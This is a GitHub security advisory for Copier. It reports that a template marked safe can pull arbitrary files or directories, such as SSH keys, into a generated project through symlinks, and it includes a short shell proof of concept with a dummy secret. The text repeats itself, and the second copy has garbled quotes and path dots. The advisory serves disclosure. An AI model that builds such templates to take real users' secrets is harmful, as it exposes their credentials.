Headline
GHSA-xjhm-gp88-8pfx: Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false
Impact
Copier suggests that it’s safe to generate a project from a safe template, i.e. one that doesn’t use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier’s default setting).
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
Illegally include a file in the generated project via symlink resolution:
echo "s3cr3t" > secret.txt mkdir src/ pushd src/ ln -s ../secret.txt stolen-secret.txt popd uvx copier copy src/ dst/ cat dst/stolen-secret.txt #s3cr3tIllegally include a directory in the generated project via symlink resolution:
mkdir secrets/ pushd secrets/ echo "s3cr3t" > secret.txt popd mkdir src/ pushd src/ ln -s ../secrets stolen-secrets popd uvx copier copy src/ dst/ tree dst/ # dst/ # └── stolen-secrets # └── secret.txt # # 1 directory, 1 file cat dst/stolen-secrets/secret.txt # s3cr3t
Patches
n/a
Workarounds
n/a
References
n/a
Impact
Copier suggests that it’s safe to generate a project from a safe template, i.e. one that doesn’t use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,–trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier’s default setting).
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
Illegally include a file in the generated project via symlink resolution:
echo “s3cr3t” > secret.txt
mkdir src/ pushd src/ ln -s …/secret.txt stolen-secret.txt popd
uvx copier copy src/ dst/
cat dst/stolen-secret.txt #s3cr3t
Illegally include a directory in the generated project via symlink resolution:
mkdir secrets/ pushd secrets/ echo “s3cr3t” > secret.txt popd
mkdir src/ pushd src/ ln -s …/secrets stolen-secrets popd
uvx copier copy src/ dst/
tree dst/
dst/
└── stolen-secrets
└── secret.txt
1 directory, 1 file
cat dst/stolen-secrets/secret.txt
s3cr3t
Patches
n/a
Workarounds
n/a
References
n/a
References
- GHSA-xjhm-gp88-8pfx
- copier-org/copier@b3a7b37